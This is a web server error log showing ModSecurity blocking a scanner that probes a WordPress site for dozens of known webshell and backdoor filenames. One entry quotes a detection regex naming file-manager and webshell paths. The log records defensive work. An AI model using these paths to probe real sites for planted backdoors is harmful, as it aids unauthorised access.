[Fri Jan 02 20:30:59.344511 2026] [:error] [pid 29316:tid 29342] [client 4.189.161.129:46871] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVe6g9fT9ty-7jZmgf-nbQAAARg"]
[Fri Jan 02 20:31:00.012957 2026] [:error] [pid 63208:tid 63233] [client 4.189.161.129:46867] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVe6hHKLI9INGPLzfndCFQAAANY"]
[Fri Jan 02 20:31:00.716969 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:46852] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVe6hFXqK_iX4f-S70Jt1gAAAZE"]
[Fri Jan 02 20:31:01.632707 2026] [:error] [pid 50046:tid 50055] [client 4.189.161.129:46849] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aVe6hSzv7fgIiwkQYNCorAAAAUc"]
[Fri Jan 02 20:31:02.049042 2026] [:error] [pid 63100:tid 63185] [client 4.189.161.129:60618] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aVe6hjuUXUKd3KTnKl9IvQAAAJg"]
[Fri Jan 02 20:31:02.821485 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:60629] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aVe6hsez9k78gUs48kpTLAAAABU"]
[Fri Jan 02 20:31:03.195665 2026] [:error] [pid 29316:tid 29338] [client 4.189.161.129:45604] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aVe6h9fT9ty-7jZmgf-ncQAAARQ"]
[Fri Jan 02 20:31:03.548740 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:57775] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVe6h8ez9k78gUs48kpTLgAAABI"]
[Fri Jan 02 20:31:04.111197 2026] [:error] [pid 50186:tid 50193] [client 4.189.161.129:46888] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVe6iFXqK_iX4f-S70Jt3wAAAYU"]
[Fri Jan 02 20:31:05.228628 2026] [:error] [pid 29316:tid 29321] [client 4.189.161.129:46878] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVe6idfT9ty-7jZmgf-ncwAAAQM"]
[Fri Jan 02 20:31:05.903650 2026] [:error] [pid 50046:tid 50056] [client 4.189.161.129:45614] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVe6iSzv7fgIiwkQYNCosAAAAUg"]
[Fri Jan 02 20:31:06.285861 2026] [:error] [pid 63099:tid 63158] [client 4.189.161.129:60638] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ahax.php"] [unique_id "aVe6ismCZokRPYUhzvi3bAAAAFg"]
[Fri Jan 02 20:31:06.786816 2026] [:error] [pid 43358:tid 43364] [client 4.189.161.129:57774] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ahax.php"] [unique_id "aVe6igncbHK9auzvrA9Q-QAAAcQ"]
[Fri Jan 02 20:31:07.502943 2026] [:error] [pid 63098:tid 63113] [client 4.189.161.129:45626] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ahax.php"] [unique_id "aVe6i8ez9k78gUs48kpTNAAAAAY"]
[Fri Jan 02 20:31:08.199190 2026] [:error] [pid 63208:tid 63217] [client 4.189.161.129:17413] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ahax.php"] [unique_id "aVe6jHKLI9INGPLzfndCGgAAAMY"]
[Fri Jan 02 20:31:08.831232 2026] [:error] [pid 63099:tid 63146] [client 4.189.161.129:60649] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aVe6jMmCZokRPYUhzvi3cgAAAEw"]
[Fri Jan 02 20:31:09.303244 2026] [:error] [pid 43358:tid 43370] [client 4.189.161.129:45569] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aVe6jQncbHK9auzvrA9Q-wAAAco"]
[Fri Jan 02 20:31:09.696073 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:45623] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aVe6jcez9k78gUs48kpTNgAAABU"]
[Fri Jan 02 20:31:10.003699 2026] [:error] [pid 43358:tid 43371] [client 4.189.161.129:45591] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-wp.php"] [unique_id "aVe6jgncbHK9auzvrA9Q_QAAAcs"]
[Fri Jan 02 20:31:10.576698 2026] [:error] [pid 63208:tid 63223] [client 4.189.161.129:46882] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aVe6jnKLI9INGPLzfndCIAAAAMw"]
[Fri Jan 02 20:31:11.235838 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:60652] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aVe6j8ez9k78gUs48kpTPAAAAA4"]
[Fri Jan 02 20:31:11.748193 2026] [:error] [pid 63098:tid 63122] [client 4.189.161.129:46877] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aVe6j8ez9k78gUs48kpTPgAAAA8"]
[Fri Jan 02 20:31:12.328564 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:45600] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nope.php"] [unique_id "aVe6kMmCZokRPYUhzvi3dgAAAEs"]
[Fri Jan 02 20:31:12.802644 2026] [:error] [pid 63100:tid 63177] [client 4.189.161.129:17416] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aVe6kDuUXUKd3KTnKl9IwwAAAJA"]
[Fri Jan 02 20:31:13.862073 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:60641] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aVe6kdfT9ty-7jZmgf-negAAAQU"]
[Fri Jan 02 20:31:14.393938 2026] [:error] [pid 63100:tid 63174] [client 4.189.161.129:17415] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aVe6kjuUXUKd3KTnKl9IxAAAAI0"]
[Fri Jan 02 20:31:15.080600 2026] [:error] [pid 63100:tid 63163] [client 4.189.161.129:17443] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up.php"] [unique_id "aVe6kzuUXUKd3KTnKl9IxQAAAII"]
[Fri Jan 02 20:31:15.842609 2026] [:error] [pid 63208:tid 63227] [client 4.189.161.129:17410] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aVe6k3KLI9INGPLzfndCIwAAANA"]
[Fri Jan 02 20:31:16.825645 2026] [:error] [pid 63098:tid 63111] [client 4.189.161.129:45572] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aVe6lMez9k78gUs48kpTSwAAAAQ"]
[Fri Jan 02 20:31:17.718005 2026] [:error] [pid 50046:tid 50067] [client 4.189.161.129:60647] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aVe6lSzv7fgIiwkQYNCotQAAAVM"]
[Fri Jan 02 20:31:18.545393 2026] [:error] [pid 50046:tid 50060] [client 4.189.161.129:17412] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aVe6lizv7fgIiwkQYNCotwAAAUw"]
[Fri Jan 02 20:31:19.085143 2026] [:error] [pid 50186:tid 50188] [client 4.189.161.129:17408] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aVe6l1XqK_iX4f-S70Jt8AAAAYA"]
[Fri Jan 02 20:31:19.628879 2026] [:error] [pid 50046:tid 50055] [client 4.189.161.129:46860] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aVe6lyzv7fgIiwkQYNCouAAAAUc"]
[Fri Jan 02 20:31:19.936601 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:46890] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aVe6l8ez9k78gUs48kpTTwAAAA4"]
[Fri Jan 02 20:31:20.620389 2026] [:error] [pid 63100:tid 63181] [client 4.189.161.129:13897] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aVe6mDuUXUKd3KTnKl9IxwAAAJQ"]
[Fri Jan 02 20:31:21.703462 2026] [:error] [pid 63100:tid 63167] [client 4.189.161.129:45609] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hello.php"] [unique_id "aVe6mTuUXUKd3KTnKl9IyQAAAIY"]
[Fri Jan 02 20:31:22.211863 2026] [:error] [pid 50186:tid 50191] [client 4.189.161.129:46909] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hello.php"] [unique_id "aVe6mlXqK_iX4f-S70Jt8wAAAYM"]
[Fri Jan 02 20:31:23.231025 2026] [:error] [pid 50186:tid 50200] [client 4.189.161.129:60639] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hello.php"] [unique_id "aVe6m1XqK_iX4f-S70Jt9AAAAYw"]
[Fri Jan 02 20:31:23.594629 2026] [:error] [pid 29316:tid 29342] [client 4.189.161.129:13917] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hello.php"] [unique_id "aVe6m9fT9ty-7jZmgf-nhgAAARg"]
[Fri Jan 02 20:31:24.547703 2026] [:error] [pid 50046:tid 50063] [client 4.189.161.129:45582] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aVe6nCzv7fgIiwkQYNCovgAAAU8"]
[Fri Jan 02 20:31:26.218792 2026] [:error] [pid 63208:tid 63232] [client 4.189.161.129:60608] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aVe6nnKLI9INGPLzfndCLwAAANU"]
[Fri Jan 02 20:31:27.111135 2026] [:error] [pid 63098:tid 63115] [client 4.189.161.129:57760] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aVe6n8ez9k78gUs48kpTVQAAAAg"]
[Fri Jan 02 20:31:27.965701 2026] [:error] [pid 50186:tid 50202] [client 4.189.161.129:45625] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aVe6n1XqK_iX4f-S70Jt_QAAAY4"]
[Fri Jan 02 20:31:29.210581 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:17464] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/usep.php"] [unique_id "aVe6ocez9k78gUs48kpTXgAAABI"]
[Fri Jan 02 20:31:31.587455 2026] [:error] [pid 50046:tid 50050] [client 4.189.161.129:17424] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/usep.php"] [unique_id "aVe6oyzv7fgIiwkQYNCo4gAAAUI"]
[Fri Jan 02 20:31:32.958249 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:60612] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/usep.php"] [unique_id "aVe6pMez9k78gUs48kpTXwAAABQ"]
[Fri Jan 02 20:31:34.564309 2026] [:error] [pid 43358:tid 43361] [client 4.189.161.129:46902] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/usep.php"] [unique_id "aVe6pgncbHK9auzvrA9RDgAAAcE"]
[Fri Jan 02 20:31:36.240175 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:17420] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aVe6qMez9k78gUs48kpTYQAAABA"]
[Fri Jan 02 20:31:37.971835 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:46885] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aVe6qXKLI9INGPLzfndCNAAAAMc"]
[Fri Jan 02 20:31:38.791800 2026] [:error] [pid 29316:tid 29324] [client 4.189.161.129:46861] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aVe6qtfT9ty-7jZmgf-npQAAAQY"]
[Fri Jan 02 20:32:01.234239 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:45624] [client 4.189.161.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aVe6wcez9k78gUs48kpTkgAAAA0"]
[Fri Jan 02 20:32:35.489709 2026] [autoindex:error] [pid 50046:tid 50052] [client 4.189.161.129:57773] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 02 20:33:02.194240 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:17449] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVe6_sez9k78gUs48kpT8gAAAA0"]
[Fri Jan 02 20:33:02.766516 2026] [:error] [pid 63100:tid 63171] [client 4.189.161.129:60654] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVe6_juUXUKd3KTnKl9JGwAAAIo"]
[Fri Jan 02 20:33:03.552838 2026] [:error] [pid 43358:tid 43384] [client 4.189.161.129:60646] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVe6_wncbHK9auzvrA9RZQAAAdg"]
[Fri Jan 02 20:33:04.147704 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:57733] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVe7AMez9k78gUs48kpT9AAAABE"]
